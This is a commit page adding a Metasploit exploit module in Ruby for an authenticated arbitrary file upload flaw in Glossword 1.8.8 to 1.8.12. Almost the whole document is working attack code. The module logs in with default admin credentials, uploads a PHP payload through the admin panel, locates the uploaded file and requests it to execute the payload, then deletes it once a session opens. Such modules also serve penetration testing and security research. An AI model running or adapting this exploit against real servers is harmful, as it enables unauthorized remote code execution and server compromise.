Skip to content

Commit 1f46b3a

Browse files
committed
Add Glossword Arbitrary File Upload Vulnerability exploit
1 parent 0977d1a commit 1f46b3a

File tree

1 file changed

+192
-0
lines changed

1 file changed

+192
-0
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in Glossword
20+
versions 1.8.8 to 1.8.12 when run as a standalone application.
21+
This application has an upload feature that allows an authenticated user
22+
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
23+
directory.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'AkaStep', # Discovery
29+
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '24456' ],
34+
[ 'OSVDB' '89960' ]
35+
],
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
39+
'Privileged' => true,
40+
'DisclosureDate' => "Feb 05 2013",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
46+
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
47+
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
48+
], self.class)
49+
end
50+
51+
def check
52+
53+
base = target_uri.path
54+
base << '/' if base[-1, 1] != '/'
55+
peer = "#{rhost}:#{rport}"
56+
user = datastore['USERNAME']
57+
pass = datastore['PASSWORD']
58+
59+
# login
60+
print_status("#{peer} - Authenticating as user '#{user}'")
61+
begin
62+
res = login(base, user, pass)
63+
if res and res.code == 200
64+
print_error("#{peer} - Authentication failed")
65+
return Exploit::CheckCode::Unknown
66+
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
67+
print_good("#{peer} - Authenticated successfully")
68+
return Exploit::CheckCode::Appears
69+
end
70+
return Exploit::CheckCode::Safe
71+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
72+
print_error("#{peer} - Connection failed")
73+
end
74+
return Exploit::CheckCode::Unknown
75+
76+
end
77+
78+
def on_new_session(client)
79+
if client.type == "meterpreter"
80+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
81+
client.fs.file.rm("#{@fname}")
82+
else
83+
client.shell_command_token("rm #{@fname}")
84+
end
85+
end
86+
87+
def upload(base, sid, fname, file)
88+
89+
user = datastore['USERNAME']
90+
pass = datastore['PASSWORD']
91+
data = Rex::MIME::Message.new
92+
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
93+
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
94+
data.add_part("users", nil, nil, 'form-data; name="t"')
95+
data.add_part("Save", nil, nil, 'form-data; name="post"')
96+
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
97+
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
98+
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
99+
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
100+
101+
data_post = data.to_s
102+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
103+
104+
res = send_request_cgi({
105+
'method' => 'POST',
106+
'uri' => "#{base}gw_admin.php",
107+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
108+
'data' => data_post,
109+
})
110+
111+
return res
112+
end
113+
114+
def login(base, user, pass)
115+
116+
res = send_request_cgi({
117+
'method' => 'POST',
118+
'uri' => "#{base}gw_login.php",
119+
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
120+
})
121+
return res
122+
123+
end
124+
125+
def exploit
126+
127+
base = target_uri.path
128+
base << '/' if base[-1, 1] != '/'
129+
@peer = "#{rhost}:#{rport}"
130+
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
131+
user = datastore['USERNAME']
132+
pass = datastore['PASSWORD']
133+
134+
# login; get session id and token
135+
print_status("#{@peer} - Authenticating as user '#{user}'")
136+
res = login(base, user, pass)
137+
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
138+
token = "#{$1}"
139+
sid = "#{$2}"
140+
print_good("#{@peer} - Authenticated successfully")
141+
else
142+
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
143+
end
144+
145+
# upload PHP payload
146+
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
147+
php = %Q|<?php #{payload.encoded} ?>|
148+
begin
149+
res = upload(base, sid, @fname, php)
150+
if res and res.code == 301 and res['location'] =~ /Setting saved/
151+
print_good("#{@peer} - File uploaded successfully")
152+
else
153+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
154+
end
155+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
156+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
157+
end
158+
159+
# retrieve PHP file path
160+
print_status("#{@peer} - Locating PHP payload file")
161+
begin
162+
res = send_request_cgi({
163+
'method' => 'GET',
164+
'uri' => "#{base}gw_admin.php?a=edit-own&t=users",
165+
'cookie' => "sid#{token}=#{sid}"
166+
})
167+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
168+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
169+
end
170+
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
171+
shell_uri = "#{$1}"
172+
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
173+
print_good("#{@peer} - Found payload file path (#{shell_uri})")
174+
else
175+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
176+
end
177+
178+
# retrieve and execute PHP payload
179+
print_status("#{@peer} - Executing payload (#{shell_uri})")
180+
begin
181+
send_request_cgi({
182+
'method' => 'GET',
183+
'uri' => "#{base}#{shell_uri}",
184+
})
185+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
186+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
187+
end
188+
if !res or res.code != 200
189+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
190+
end
191+
end
192+
end

0 commit comments

Comments
 (0)